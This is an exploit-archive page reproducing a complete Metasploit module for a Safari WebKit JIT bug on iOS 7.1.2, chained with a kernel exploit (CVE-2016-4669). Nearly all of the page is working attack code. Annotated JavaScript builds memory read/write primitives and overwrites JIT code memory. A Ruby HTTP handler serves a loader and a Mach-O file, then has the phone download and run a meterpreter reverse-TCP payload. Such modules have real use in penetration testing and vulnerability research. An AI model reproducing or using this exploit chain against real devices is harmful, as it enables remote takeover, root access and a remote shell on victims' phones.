Advertisement






Safari Webkit For iOS 7.1.2 JIT Optimization Bug

CVE Category Price Severity
CVE-2016-4669 CWE-119 Unknown High
Author Risk Exploitation Type Date
Unknown High Remote 2020-08-15
CPE
cpe:cpe:/a:apple:safari
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020080074

Below is a copy:

Safari Webkit For iOS 7.1.2 JIT Optimization Bug
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Post::File
  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Safari Webkit JIT Exploit for iOS 7.1.2',
        'Description' => %q{
          This module exploits a JIT optimization bug in Safari Webkit. This allows us to
          write shellcode to an RWX memory section in JavaScriptCore and execute it. The
          shellcode contains a kernel exploit (CVE-2016-4669) that obtains kernel rw,
          obtains root and disables code signing. Finally we download and execute the
          meterpreter payload.
          This module has been tested against iOS 7.1.2 on an iPhone 4.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'kudima', # ishell
          'Ian Beer', # CVE-2016-4669
          'WanderingGlitch', # CVE-2018-4162
          'timwr', # metasploit integration
        ],
        'References' => [
          ['CVE', '2016-4669'],
          ['CVE', '2018-4162'],
          ['URL', 'https://github.com/kudima/exploit_playground/tree/master/iPhone3_1_shell'],
          ['URL', 'https://www.thezdi.com/blog/2018/4/12/inverting-your-assumptions-a-guide-to-jit-comparisons'],
          ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=882'],
        ],
        'Arch' => ARCH_ARMLE,
        'Platform' => 'apple_ios',
        'DefaultTarget' => 0,
        'DefaultOptions' => { 'PAYLOAD' => 'apple_ios/armle/meterpreter_reverse_tcp' },
        'Targets' => [[ 'Automatic', {} ]],
        'DisclosureDate' => 'Aug 25 2016'
      )
    )
    register_options(
      [
        OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 8080 ]),
        OptString.new('URIPATH', [ true, 'The URI to use for this exploit.', '/' ])
      ]
    )
    register_advanced_options([
      OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]),
    ])
  end

  def exploit_js
    <<~JS
      //
      // Initial notes.
      //
      // If we look at publicly available exploits for this kind of
      // issues [2], [3] on 64-bit systems, they rely on that JavaScriptCore
      // differently interprets the content of arrays based on
      // their type, besides object pointers and 64-bit doubles may have
      // the same representation.
      //
      // This is not the case for 32-bit version of JavaScriptCore.
      // The details are in runtime/JSCJSValue.h. All JSValues are still
      // 64-bit, but for the cells representing objects
      // the high 32-bit are always 0xfffffffb (since we only need 32-bit
      // to represent a pointer), meaning cell is always a NaN in IEEE754
      // representation used for doubles and it is not possible to confuse
      // an cell and a IEEE754 encoded double value.
      //
      // Another difference is how the cells are represented
      // in the version of JavaScriptCore by iOS 7.1.2.
      // The type of the cell object is determined by m_structure member
      // at offset 0 which is a pointer to Structure object.
      // On 64-bit systems, at the time [2], [3]
      // were published, a 32-bit integer value was used as a structure id.
      // And it was possible to deterministically predict that id for
      // specific object layout.
      //
      // The exploit outline.
      //
      // Let's give a high level description of the steps taken by the
      // exploit to get to arbitrary code execution.
      //
      // 1. We use side effect bug to overwrite butterfly header by confusing
      // Double array with ArrayStorage and obtain out of bound (oob) read/write
      // into array butterflies allocation area.
      //
      // 2. Use oob read/write to build addrOf/materialize object primitives,
      // by overlapping ArrayStorage length with object pointer part of a cell
      // stored in Contiguous array.
      //
      // 3. Craft a fake Number object in order to leak real object structure
      // pointer via a runtime function.
      //
      // 4. Use leaked structure pointer to build a fake fake object allowing
      // as read/write access to a Uint32Array object to obtain arbitrary read/write.
      //
      // 5. We overwrite rwx memory used for jit code and redirect execution
      // to that memory using our arbitrary read/write.

      function main(loader, macho) {

        // auxillary arrays to facilitate
        // 64-bit floats to pointers conversion
        var ab  = new ArrayBuffer(8)
        var u32 = new Uint32Array(ab);
        var f64 = new Float64Array(ab);

        function toF64(hi, lo) {
          u32[0] = hi;
          u32[1] = lo;
          return f64[0];
        }

        function toHILO(f) {
          f64[0] = f;
          return [u32[0], u32[1]]
        }

        function printF64(f) {
          var u32 = toHILO(f);
          return (u32[0].toString(16) + " " + u32[1].toString(16));
        }

        // arr is an object with a butterfly
        //
        // cmp is an object we compare with
        //
        // v is a value assigned to an indexed property,
        // gives as ability to change the butterfly
        function oob_write(arr, cmp, v, i) {
          arr[0] = 1.1;
          // place a comparison with an object,
          // incorrectly modeled as side effects free
          cmp == 1;
          // if i less then the butterfly length,
          // it simply writes the value, otherwise
          // bails to baseline jit, which is going to
          // handle the write via a slow path.
          arr[i] = v;
          return arr[0];
        }

        function make_oob_array() {

          var oob_array;

          // allocate an object
          var arr = {};
          arr.p = 1.1;
          // allocate butterfly of size 0x38,
          // 8 bytes header and 6 elements. To get the size
          // we create an array and inspect its memory
          // in jsc command line interpreter.
          arr[0] = 1.1;

          // toString is triggered during comparison,
          var x = {toString: function () {
              // convert the butterfly into an
              // array storage with two values,
              // initial 1.1 64-bit at 0 is going to be placed
              // to m_vector and value at 1000 is placed into
              // the m_sparceMap
              arr[1000] = 2.2;
              // allocate a new butterfly right after
              // our ArrayStorage. The butterflies are
              // allocated continuously regardless
              // of the size. For the array we
              // get 0x28 bytes, header and 4 elements.
              oob_array = [1.1];
              return '1';
            }
          };

          // ArrayStorage buttefly--+
          //                        |
          //                        V
          //-8       -4             0             4
          //  | pub length | length | m_sparceMap |  m_indexBias |
          //
          // 8                    0xc        0x10
          // | m_numValuesInVector | m_padding | m_vector[0]
          //
          //0x18         0x20        0x28
          // | m_vector[1] | m_vector[2] | m_vector[3]  |
          //
          //              oob_array butterfly
          //                       |
          //                       V
          //0x30     0x34         0x38   0x40     0x48      0x50
          // | pub length | length |  el0 |   el1   |   el2   |
          //

          // We enter the function with arr butterfly
          // backed up by a regular butterfly, during the side effect
          // in toString method we turn it into an ArrayStorage,
          // and allocate a butterfly right after it. So we
          // hopefully get memory layout as on the diagram above.
          //
          // The compiled code for oob_write, being not aware of the
          // shape change, is going to compare 6 to the ArrayStorage
          // length (which we set to 1000 in toString) and proceed
          // to to write at index 6 relative to ArrayStorage butterfly,
          // overwriting the oob_array butterfly header with 64-bit float
          // encoded as 0x0000100000001000. Which gives as ability to write
          // out of bounds of oob_array up to 0x1000 bytes, hence
          // the name oob_array.

          var o = oob_write(arr, x, toF64(0x1000, 0x1000), 6);

          return oob_array;
        }

        // returns address of an object
        function addrOf(o) {
          // overwrite ArrayStorage public length
          // with the object pointer
          oob_array[4] = o;
          // retrieve the address as ArrayStorage
          // butterfly public length
          var r = oobStorage.length;
          return r;
        }

        function materialize(addr) {
          // replace ArrayStorage public length
          oobStorage.length = addr;
          // retrieve the placed address
          // as an object
          return oob_array[4];
        }

        function read32(addr) {
          var lohi = toHILO(rw0Master.rw0_f2);
          // replace m_buffer with our address
          rw0Master.rw0_f2 = toF64(lohi[0], addr);
          var ret = u32rw[0];
          // restore
          rw0Master.rw0_f2 = toF64(lohi[0], lohi[1]);
          return ret;
        }

        function write32(addr, v) {
          var lohi = toHILO(rw0Master.rw0_f2);
          rw0Master.rw0_f2 = toF64(lohi[0], addr);
          // for some reason if we don't do this
          // and the value is negative as a signed int ( > 0x80000000)
          // it takes base from a different place
          u32rw[0] = v & 0xffffffff;
          rw0Master.rw0_f2 = toF64(lohi[0], lohi[1]);
        }

        function testRW32() {
          var o = [1.1];

          print("--------------- testrw32 -------------");
          print("len: " + o.length);

          var bfly = read32(addrOf(o)+4);
          print("bfly: " + bfly.toString(16));

          var len = read32(bfly-8);
          print("bfly len: " + len.toString(16));
          write32(bfly - 8, 0x10);
          var ret = o.length == 0x10;
          print("len: " + o.length);
          write32(bfly - 8, 1);
          print("--------------- testrw32 -------------");
          return ret;
        }

        // dump @len dword
        function dumpAddr(addr, len) {
          var output = 'addr: ' + addr.toString(16) + "\\n";
          for (var i=0; i<len; i++) {
            output += read32(addr + i*4).toString(16) + " ";
            if ((i+1) % 2 == 0) {
              output += "\\n";
            }
          }
          return output;
        }

        // prepare the function we are going to
        // use to run our macho loader
        exec_code = "var o = {};";
        for (var i=0; i<200; i++) {
          exec_code += "o.p = 1.1;";
        }
        exec_code += "if (v) alert('exec');";

        var exec = new Function('v', exec_code);

        // force JavaScriptCore to generate jit code
        // for the function
        for (var i=0; i<1000; i++)
          exec();

        // create an object with a Double array butterfly
        var arr = {};
        arr.p = 1.1;
        arr[0] = 1.1;

        // force DFG optimization for oob_write function,
        // with a write beyond the allocated storage
        for (var i=0; i<10000; i++) {
          oob_write(arr, {}, 1.1, 1);
        }

        // prepare a double array which we are going to turn
        // into an ArrayStorage later on.
        var oobStorage = [];
        oobStorage[0] = 1.1;

        // create an array with oob read/write
        // relative to its butterfly
        var oob_array = make_oob_array();
        // Allocate an ArrayStorage after oob_array butterfly.
        oobStorage[1000] = 2.2;

        // convert into Contiguous storage, so we can materialize
        // objects
        oob_array[4] = {};

        // allocate two objects with seven inline properties one after another,
        // for fake object crafting
        var oo = [];
        for (var i=0; i<0x10; i++) {
          o = {p1:1.1, p2:2.2, p3:1.1, p4:1.1, p5:1.1, p6:1.1, p7:toF64(0x4141, i )};
          oo.push(o);
        }

        // for some reason if we just do
        //var structLeaker = {p1:1.1, p2:2.2, p3:1.1, p4:1.1, p5:1.1, p6:1.1, p7:1.1};
        //var fakeObjStore = {p1:1.1, p2:2.2, p3:1.1, p4:1.1, p5:1.1, p6:1.1, p7:1.1};
        // the objects just get some random addressed far apart, and we need
        // them allocated one after another.

        var fakeObjStore = oo.pop();
        // we are going to leak Structure pointer for this object
        var structLeaker = oo.pop();

        // eventually we want to use it for read/write into typed array,
        // and typed array is 0x18 bytes from our experiments.
        // To cover all 0x18 bytes, we add four out of line properties
        // to the structure we want to leak.
        structLeaker.rw0_f1 = 1.1;
        structLeaker.rw0_f2 = 1.1;
        structLeaker.rw0_f3 = 1.1;
        structLeaker.rw0_f4 = 1.1;

        print("fakeObjStoreAddr: " + addrOf(fakeObjStore).toString(16));
        print("structLeaker: " + addrOf(structLeaker).toString(16));

        var fakeObjStoreAddr = addrOf(fakeObjStore)
        // m_typeInfo offset within a Structure class is 0x34
        // m_typeInfo = {m_type = 0x15, m_flags = 0x80, m_flags2 = 0x0}
        // for Number

        // we want to achieve the following layout for fakeObjStore
        //
        // 0        8       0x10      0x18    0x20    0x28    0x30
        // |  1.1   |   1.1   | 1.1    |  1.1  |  1.1   |  1.1 |
        //
        // 0x30              0x34        0x38     0x40
        // | fakeObjStoreAddr  | 0x00008015 |  1.1    |
        //
        // we materialize fakeObjStoreAddr + 0x30 as an object,
        // As we can see the Structure pointer points back to fakeObjStore,
        // which is acting as a structure for our object. In that fake
        // structure object we craft m_typeInfo as if it was a Number object.
        // At offset +0x34 the Structure objects have m_typeInfo member indicating
        // the object type.
        // For number it is m_typeInfo = {m_type = 0x15, m_flags = 0x80, m_flags2 = 0x0}
        // So we place that value at offset 0x34 relative to the fakeObjStore start.
        fakeObjStore.p6 = toF64(fakeObjStoreAddr, 0x008015);
        var fakeNumber = materialize(fakeObjStoreAddr + 0x30);

        // We call a runtime function valueOf on Number, which only verifies
        // that m_typeInfo field describes a Number object. Then it reads
        // and returns 64-bit float value at object address + 0x10.
        //
        // In our seven properties object, it's
        // going to be a 64-bit word located right after last property. Since
        // we have arranged another seven properties object to be placed right
        // after fakeObjStore, we are going to get first 8 bytes of
        // that cell object which has the following layout.
        // 0     4         8
        // | m_structure | m_butterfly |
        var val = Number.prototype.valueOf.call(fakeNumber);

        // get lower 32-bit of a 64-bit float, which is a structure pointer.
        var _7pStructAddr = toHILO(val)[1];
        print("struct addr: " + _7pStructAddr.toString(16));

        // now we are going to use the structure to craft an object
        // with properties allowing as read/write access to Uint32Array.

        var aabb = new ArrayBuffer(0x20);

        // Uint32Array is 0x18 bytes,
        // + 0xc  m_impl
        // + 0x10 m_storageLength
        // + 0x14 m_storage
        var u32rw = new Uint32Array(aabb, 4);

        // Create a fake object with the structure we leaked before.
        // So we can r/w to Uint32Array via out of line properties.
        // The ool properties are placed before the butterfly header,
        // so we point our fake object butterfly to Uint32Array + 0x28,
        // to cover first 0x20 bytes via four out of line properties we added earlier
        var objRW0Store = {p1:toF64(_7pStructAddr,  addrOf(u32rw) + 0x28), p2:1.1};

        // materialize whatever we put in the first inline property as an object
        var rw0Master = materialize(addrOf(objRW0Store) + 8);

        // magic
        var o = {p1: 1.1, p2: 1.1, p3: 1.1, p4: 1.1};
        for (var i=0; i<8; i++) {
          read32(addrOf(o));
          write32(addrOf(o)+8, 0);
        }

        //testRW32();
        // JSFunction->m_executable
        var m_executable = read32(addrOf(exec)+0xc);

        // m_executable->m_jitCodeForCall
        var jitCodeForCall = read32(m_executable + 0x14) - 1;
        print("jit code pointer: " + jitCodeForCall.toString(16));

        // Get JSCell::destroy pointer, and pass it
        // to the code we are going to execute as an argument
        var n = new Number(1.1);
        var struct = read32(addrOf(n));
        // read methodTable
        var classInfo = read32(struct + 0x20);
        // read JSCell::destroy
        var JSCell_destroy = read32(classInfo + 0x10);

        print("JSCell_destroy: " + JSCell_destroy.toString(16));

        // overwrite jit code of exec function
        for (var i=0; i<loader.length; i++) {
          var x = loader[i];
          write32(jitCodeForCall+i*4, x);
        }

        // pass JSCell::destroy pointer and
        // the macho file as arguments to our
        // macho file loader, so it can get dylib cache slide
        var nextBuf = read32(addrOf(macho) + 0x14);
        // we pass parameters to the loader as a list of 32-bit words
        // places right before the start
        write32(jitCodeForCall-4, JSCell_destroy);
        write32(jitCodeForCall-8, nextBuf);
        print("nextBuf: " + nextBuf.toString(16));
        // start our macho loader
        print("executing macho...");
        exec(true);
        print("exec returned");
        return;
      }

      try {
        function asciiToUint8Array(str) {

          var len = Math.floor((str.length + 4)/4) * 4;
          var bytes = new Uint8Array(len);

          for (var i=0; i<str.length; i++) {
            var code = str.charCodeAt(i);
            bytes[i] = code & 0xff;
          }

          return bytes;
        }

        // loads base64 encoded payload from the server and converts
        // it into a Uint32Array
        function loadAsUint32Array(path) {
          var xhttp = new XMLHttpRequest();
          xhttp.open("GET", path+"?cache=" + new Date().getTime(), false);
          xhttp.send();
          var payload = atob(xhttp.response);
          payload = asciiToUint8Array(payload);
          return new Uint32Array(payload.buffer);
        }

        var loader = loadAsUint32Array("loader.b64");
        var macho = loadAsUint32Array("macho.b64");
        setTimeout(function() {main(loader, macho);}, 50);
      } catch (e) {
        print(e + "\\n" + e.stack);
      }
    JS
  end

  def on_request_uri(cli, request)
    if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
      print_status("[*] #{request.body}")
      send_response(cli, '')
      return
    end

    print_status("Request #{request.uri} from #{request['User-Agent']}")
    if request.uri.starts_with? '/loader.b64'
      loader_data = exploit_data('CVE-2016-4669', 'loader')
      loader_data = Rex::Text.encode_base64(loader_data)
      send_response(cli, loader_data, { 'Content-Type' => 'application/octet-stream' })
      return
    elsif request.uri.starts_with? '/macho.b64'
      loader_data = exploit_data('CVE-2016-4669', 'macho')
      payload_url = "http://#{Rex::Socket.source_address('1.2.3.4')}:#{srvport}/payload"
      payload_url_index = loader_data.index('PAYLOAD_URL_PLACEHOLDER')
      loader_data[payload_url_index, payload_url.length] = payload_url
      loader_data = Rex::Text.encode_base64(loader_data)
      send_response(cli, loader_data, { 'Content-Type' => 'application/octet-stream' })
      return
    elsif request.uri.starts_with? '/payload'
      print_good('Target is vulnerable, sending payload!')
      send_response(cli, payload.raw, { 'Content-Type' => 'application/octet-stream' })
      return
    end

    jscript = exploit_js
    if datastore['DEBUG_EXPLOIT']
      debugjs = %Q^
print = function(arg) {
  var request = new XMLHttpRequest();
  request.open("POST", "/print", false);
  request.send("" + arg);
};
^
      jscript = "#{debugjs}#{jscript}"
    else
      jscript.gsub!(/\/\/.*$/, '') # strip comments
      jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
    end

    html = <<~HTML
      <html>
      <body>
      <script>
      #{jscript}
      </script>
      </body>
      </html>
    HTML

    send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' })
  end

end

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum